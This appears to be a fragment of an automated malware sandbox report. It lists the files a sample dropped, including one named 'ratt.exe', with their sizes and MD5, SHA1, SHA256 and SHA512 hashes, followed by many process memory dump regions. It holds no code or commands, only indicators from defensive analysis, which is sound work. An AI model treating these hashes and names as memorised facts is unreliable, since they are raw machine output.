2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
\Users\Admin\AppData\Local\Temp\7z.exe

Filesize
71KB

MD5
8ba2e41b330ae9356e62eb63514cf82e

SHA1
8dc266467a5a0d587ed0181d4344581ef4ff30b2

SHA256
ea2ad8d87b79c8eb3952498c7005a195986436cfd7ca7736dbbdda979142daea

SHA512
2fdfc2d368c70320b3dac00fef06381ef90a2a82a1f3137109b033d84e5b70185039af6ec918012dc03bc9d046cd8d8aee3247ba0f59d394e78f1f73380f7a1d

Download Submit
\Users\Admin\AppData\Local\Temp\ratt.exe

Filesize
89.5MB

MD5
15bccb6b89c5d2cb329a8c78477032a2

SHA1
69aaf51175ff7eefb5f8b0c5ce657a315cc861f9

SHA256
8b485d795a9edafdb21cdff42d058a927b798abbfcb214a929a260b04d5d429f

SHA512
55ec1cb05ff3fb8ebebbf0d866a79eea00106adadaa8ee8bc0e22470249aede111266e296e669652a76d58f108ad20b10b0fffc8fcc307a255b7bb34e26cbd52

Download Submit
\Users\Admin\Music\rot.exe

Filesize
31.8MB

MD5
6dd939ed52d3eb6bf88c688bdb5e90ca

SHA1
376a42841e04fd030b34eb7c96370cb3322ead40

SHA256
607f26ccf97f20916f53daff8cae9147691dd7fa4401059e618090b28eb490d7

SHA512
f76f63febedb888e397ceb4d25f30cda3c0133e4edef989fffcc396ed093c7ac6235056c47a9040eec96ae8e12ede1e499402a5a74c71d580ca747bffea23eac

Download Submit
memory/1308-48-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/1308-47-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/1308-46-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/1308-45-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/1800-98-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/1800-99-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/1800-106-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/1800-101-0x00000000025B0000-0x00000000025F0000-memory.dmp

Filesize
256KB

Download
memory/1800-100-0x00000000025B0000-0x00000000025F0000-memory.dmp

Filesize
256KB

Download
memory/1820-118-0x0000000004A00000-0x0000000004A40000-memory.dmp

Filesize
256KB

Download
memory/1820-121-0x00000000707E0000-0x0000000070ECE000-memory.dmp

Filesize
6.9MB

Download
memory/1820-111-0x00000000707E0000-0x0000000070ECE000-memory.dmp

Filesize
6.9MB

Download
memory/1820-112-0x00000000000F0000-0x00000000002A6000-memory.dmp

Filesize
1.7MB

Download
memory/1820-113-0x0000000004A00000-0x0000000004A40000-memory.dmp

Filesize
256KB

Download
memory/1820-117-0x00000000707E0000-0x0000000070ECE000-memory.dmp

Filesize
6.9MB

Download
memory/1920-88-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1920-80-0x0000000010000000-0x00000000100E2000-memory.dmp

Filesize
904KB

Download
memory/1920-78-0x0000000000400000-0x0000000000432000-memory.dmp

Filesize
200KB

Download
memory/1920-85-0x0000000010000000-0x00000000100E2000-memory.dmp

Filesize
904KB

Download
memory/2364-120-0x00000000707E0000-0x0000000070ECE000-memory.dmp

Filesize
6.9MB

Download
memory/2364-107-0x0000000000E80000-0x0000000001036000-memory.dmp

Filesize
1.7MB

Download
memory/2364-116-0x00000000707E0000-0x0000000070ECE000-memory.dmp

Filesize
6.9MB

Download
memory/2364-115-0x00000000005C0000-0x0000000000606000-memory.dmp

Filesize
280KB

Download
memory/2364-119-0x0000000000A30000-0x0000000000A70000-memory.dmp

Filesize
256KB

Download
memory/2364-114-0x0000000000A30000-0x0000000000A70000-memory.dmp

Filesize
256KB

Download
memory/2364-110-0x00000000707E0000-0x0000000070ECE000-memory.dmp

Filesize
6.9MB

Download
memory/2376-69-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/2376-70-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2376-68-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/2376-65-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2376-66-0x0000000074230000-0x00000000747DB000-memory.dmp

Filesize
5.7MB

Download
memory/2376-67-0x00000000027B0000-0x00000000027F0000-memory.dmp

Filesize
256KB

Download
memory/2388-134-0x0000000000E30000-0x0000000000E4A000-memory.dmp

Filesize
104KB

Download
memory/2388-131-0x0000000000730000-0x0000000000770000-memory.dmp

Filesize
256KB

Download
memory/2388-130-0x0000000074600000-0x0000000074CEE000-memory.dmp

Filesize
6.9MB

Download
memory/2388-129-0x0000000000E80000-0x0000000001036000-memory.dmp

Filesize
1.7MB

Download
memory/2388-132-0x0000000074600000-0x0000000074CEE000-memory.dmp

Filesize
6.9MB

Download
memory/2388-133-0x0000000000730000-0x0000000000770000-memory.dmp

Filesize
256KB

Download
memory/2388-148-0x0000000074600000-0x0000000074CEE000-memory.dmp

Filesize
6.9MB

Download
memory/2388-145-0x0000000000730000-0x0000000000770000-memory.dmp

Filesize
256KB

Download
memory/2388-136-0x0000000000730000-0x0000000000770000-memory.dmp

Filesize
256KB

Download
memory/2388-135-0x00000000004C0000-0x00000000004C6000-memory.dmp

Filesize
24KB

Download
memory/2484-39-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/2484-36-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/2484-38-0x0000000002700000-0x0000000002740000-memory.dmp

Filesize
256KB

Download
memory/2484-37-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/2568-30-0x00000000744E0000-0x0000000074A8B000-memory.dmp

Filesize
5.7MB

Download
memory/2568-29-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2568-28-0x0000000002730000-0x0000000002770000-memory.dmp

Filesize
256KB

Download
memory/2568-27-0x00000000744E0000-0x0000000074A8B000-memory.dmp

Filesize
5.7MB

Download
memory/2568-26-0x00000000744E0000-0x0000000074A8B000-memory.dmp

Filesize
5.7MB

Download
memory/2656-83-0x0000000000210000-0x0000000000242000-memory.dmp

Filesize
200KB

Download
memory/2656-73-0x0000000000210000-0x0000000000242000-memory.dmp

Filesize
200KB

Download
memory/2656-82-0x0000000000210000-0x0000000000242000-memory.dmp

Filesize
200KB

Download
memory/2656-76-0x0000000000210000-0x0000000000242000-memory.dmp

Filesize
200KB

Download
memory/2716-59-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/2716-58-0x00000000027D0000-0x0000000002810000-memory.dmp

Filesize
256KB

Download
memory/2716-57-0x00000000027D0000-0x0000000002810000-memory.dmp

Filesize
256KB

Download
memory/2716-56-0x00000000027D0000-0x0000000002810000-memory.dmp

Filesize
256KB

Download
memory/2716-54-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/2716-55-0x0000000074220000-0x00000000747CB000-memory.dmp

Filesize
5.7MB

Download
memory/2792-143-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2792-141-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-142-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-137-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-146-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-149-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-151-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-139-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2792-152-0x0000000074930000-0x000000007501E000-memory.dmp

Filesize
6.9MB

Download
memory/2792-153-0x0000000004760000-0x00000000047A0000-memory.dmp

Filesize
256KB

Download
memory/2792-155-0x0000000074930000-0x000000007501E000-memory.dmp

Filesize
6.9MB

Download
memory/2792-156-0x0000000004760000-0x00000000047A0000-memory.dmp

Filesize
256KB

Download